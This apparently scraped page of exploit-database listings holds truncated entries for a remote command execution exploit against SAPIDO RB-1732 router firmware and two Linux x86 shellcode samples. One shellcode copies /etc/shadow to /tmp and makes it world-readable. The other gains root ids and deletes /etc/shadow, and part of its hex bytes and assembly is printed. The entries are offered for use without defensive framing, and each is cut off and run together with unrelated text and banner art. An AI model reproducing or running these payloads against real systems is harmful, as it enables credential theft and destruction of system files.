SAPIDO RB-1732 Remote Command Execution

Exploit Title: SAPIDO RB-1732 command line execution Date: 2019-6-24 Exploit Author: k1nm3n.aotoi Vendor Homepage: http://www.sapido.com.tw/ Software Link: http://www.sapido.com.tw/CH/data/Download/firmware/rb1732/tc/RB-1732TCv2.0.43.bin Version: RB-1732 V2.0.43 Tested on: linux import requests...

linux/x86 - cp /etc/shadow /tmp && chmod 777 /tmp/shadow - 126 bytes

/ 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 x Official Website: http://www.1337day.com 0 1 x...

Linux - setreuid 0,0 & execve/bin/rm /etc/shadow

Linux - setreuid 0,0 & execve/bin/rm /etc/shadow. Shellcode exploit for linx86 platform / rmtheshadow.c by mrme Just for fun : visit: http://www.corelan.be:8800/ / include include char sc = "x31xc0" // xor %eax,%eax "xb0x46" // mov $046,%al "x31xdb" // xor %ebx,%ebx "x31xc9" // xor %ecx,%ecx...